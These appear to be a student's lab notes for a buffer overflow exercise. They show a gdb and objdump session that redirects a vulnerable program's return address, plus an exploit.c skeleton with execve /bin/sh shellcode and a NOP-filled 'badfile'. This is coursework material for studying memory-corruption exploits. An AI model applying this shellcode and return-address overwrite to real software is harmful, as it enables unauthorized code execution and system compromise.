Gdb ./buf\_ovf

(gdb) break copy

(gdb) run

(gdb) print &buff 🡪 $1 = (char (\*)[5]) **0xbfffef2b**

(gdb) info frame 🡪 eip at 0x**bfffef3c**

(gdb) quit

objdump -d ./buff\_ovf | grep wanted 🡪 **0804843b** <wanted>:

python -c 'print "A" \* 17 + "\x3b\x84\x04\x08"'

gdb ./buff\_ovf

(gdb) run $(python -c 'print "A" \* 17 + "\x3b\x84\x04\x08"')

----------------------------

3.2 task1:

nano exploit.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[] =

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x50" /\* pushl %eax \*/

"\x68""//sh" /\* pushl $0x68732f2f \*/

"\x68""/bin" /\* pushl $0x6e69622f \*/

"\x89\xe3" /\* movl %esp,%ebx \*/

"\x50" /\* pushl %eax \*/

"\x53" /\* pushl %ebx \*/

"\x89\xe1" /\* movl %esp,%ecx \*/

"\x99" /\* cdq \*/

"\xb0\x0b" /\* movb $0x0b,%al \*/

"\xcd\x80"; /\* int $0x80 \*/

void main(int argc, char \*\*argv)

{

char buffer[517];

FILE \*badfile;

/\* Initialize buffer with 0x90 (NOP instruction) \*/

memset(&buffer, 0x90, 517);

/\* You need to fill the buffer with appropriate contents here \*/

/\* Save the contents to the file "badfile" \*/

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

gcc -o exploit exploit.c

